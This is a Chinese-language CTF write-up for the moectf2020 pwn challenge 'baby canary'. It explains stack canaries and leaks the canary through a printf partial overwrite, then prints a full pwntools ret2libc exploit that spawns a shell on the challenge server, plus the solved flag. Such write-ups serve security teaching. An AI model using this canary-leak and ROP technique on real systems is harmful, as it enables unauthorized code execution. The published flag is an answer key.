moectf2020 write up for baby canary

前言

moectf2020的pwn的压轴题,萌新大半夜照着官方题解看了好久,才勉勉强强磕磕碰碰地看明白了QAQ

A3师傅好坏啊,新生赛出这么难的题!

PRE.DEFINITION OF CANARY

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

CTF wiki: Canary

大概意思是说在栈上会放一个值…这个值在old ebp和返回地址的前面…要是发生栈溢出修改后面的值的话这个值自然也是会被修改的…因此就能检测到了XD

0x00.安全检查

首先是惯例的checksec

image.png

可以看到除了地址随机化以外都开了

当然,看名字就知道这题肯定要考巨难的canary(Or2…

0x01.逆向分析

拖入IDA进行分析

image.png

我们可以看到最大读入0x100字节的输入,可以把整个栈给改写得一塌糊涂,但是会被canary检测发现> <!

唯一的一个可塑的输出点是printf,说明在这里很有可能存在操作空间!

0x02.漏洞利用

canary泄露

canary存在高字节截断,如果我们使用0x4c-0xc+1的padding覆写掉canary的最高位字节\x00,这样程序在调用printf函数时便会输出canary的值!

也就是partial overwrite

那么我们的第一条payload就出来了:

1
payload1 = b'A'*(0x4c-0xc+1)

之后程序在输出完我们的输入之后还会再输出一些东西,而其中的前三个字节便是canary的低三位字节

于是我们便能够得到canary的值了> <!

1
2
3
p.send(payload1)
p.recvuntil(payload1)
canary = u32('\x00'+p.recv(3))

ret2libc

得到了canary的值之后我们就可以尽情地溢出了wwwww

同时我们可以发现不存在可以直接getshell的system()函数或是/bin/sh字符串

image.png

题目给出了libc.so.6文件,故考虑ret2libc,构造rop链先将函数返回至puts,输出puts函数的真实地址(储存在got表中),之后计算出libc的基址,再计算出libc中system函数与/bin/sh字符串的真实地址,最后构造rop链执行system("/bin/sh")即可getshell

exp

最终构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#python3
from pwn import *

p = remote('sec.arttnba3.cn',10003)
e = ELF('./baby_canary')
libc = ELF('./libc.so.6')

puts_got = e.got['puts']
puts_plt = e.plt['puts']

p.recv()
payload1 = b'A'*(0x4c-0xc+1)
p.send(payload1)
p.recvuntil(payload1)
canary = u32(b'\x00'+p.recv(3))
p.recv()

payload2 = b'A'*(0x4c-0xc) + p32(canary) + b'A'*(0xc-4) + p32(0xdeadbeef) + p32(puts_plt)+ p32(e.sym['main']) + p32(puts_got)

p.send(payload2)
p.recvuntil('flag!\n')

puts_addr = p.recv(4)

puts_addr = u32(puts_addr)

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + libc.search(b'/bin/sh').__next__()

p.send(payload1)
payload3 = b'A'*(0x4c-0xc) + p32(canary) + b'A'*(0xc-4) + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.send(payload3)
p.interactive()

运行exp,成功getshell,撒花花~~🌸🌸🌸

image.png

最后我们就能得到flag啦~

1
moectf{W0w_Y0u_c@n_e5cap3_fr0m_c4nary!}
Posted on

2021-01-15

Updated on

2021-01-18

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!